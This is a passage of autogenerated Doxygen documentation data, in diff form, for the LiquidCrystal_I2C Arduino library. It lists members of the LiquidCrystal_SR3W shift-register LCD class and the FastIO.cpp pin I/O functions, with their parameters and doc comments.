/* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '119'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4fab8ff2f21bba3efd133cd8c87fffc0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '114'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the control lines of + the LCD and the shiftregister. The constructor does not initialize the LCD. + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to shiftregister data pin. + @param clk[in] digital IO connected to shiftregister clock pin. + @param En[in] LCD En (Enable) pin connected to SR output pin. + @param Rw[in] LCD Rw (Read/write) pin connected to SR output pin. + @param Rs[in] LCD Rs (Reg Select) pin connected to SR output pin. + @param d4[in] LCD data 4 pin map to the SR output pin. + @param d5[in] LCD data 5 pin map to the SR output pin. + @param d6[in] LCD data 6 pin map to the SR output pin. + @param d7[in] LCD data 7 pin map to the SR output pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ade34af5b7fe795482f1848c2176d6e56'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '133'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a6d0fc7907ef9fd87c408a21b9bd49295'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a894d0ea8ea61c1d15acd8a26d417e477'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a45cde916021d9b52b0f769c17886b2ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a80f6e4e8b10635d9daed718f2918c1bd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract load into the shift register a byte + @discussion loads into the shift register a byte + @param value[in]: value to be loaded into the shiftregister. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ac0702caa5d07ffd8e832ad8a5d0afe7c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '175'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a21ef2e5b78edd0d160d81b0c06d41440'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1adf17379bfac4def5c780fc8ad023764c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2c14746e8f626a53f777c8df68f8a92b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1af7d09207dffb9f2fc85fc60661ffa0d4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_clk_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '191'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ab81049d446d2e7399ee6b20c9da4cdde'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '188'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a366adab314f5dc8b7e53298d6eccf85d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a301acb36345c56ae336156fdeee4a783'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '189'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a4306c59b6bf3870fecad23d6b0c0aa5d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a062da9fb985a7e88128d7d95fd8239d6'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1aef47417b089e53af1ce032e5f1b23b43'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a0d40b3c14c3f56fd341d41220f425925'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a2a7d9703b04a91658b7a590b926ff9cd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_strobe_reg'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '187'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + cp-fileline = '67'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 37; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 36; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '37'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 39; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 38; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '39'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_fast_i_o_8cpp'; + file-name = 'FastIO.cpp'; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a83fc2fdc19ab3f9aade9e1a2f39e81a6'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalRead'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '96'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1ae91bbe682b02a5842c291055c0e998b5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_digitalWrite'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinRegister'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pinBit'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '77'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a07a19dfbdca1afaca5d666bdaa3be7d5'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToBit'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '66'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1afb934fc0ded94cbb5ed8ed14e2a123ed'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToInputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp'; + func-mem-desc-line = '53'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8cpp_1a04210cc785c3b4a11c86f794949c327f'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_pinToOutputRegister'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t 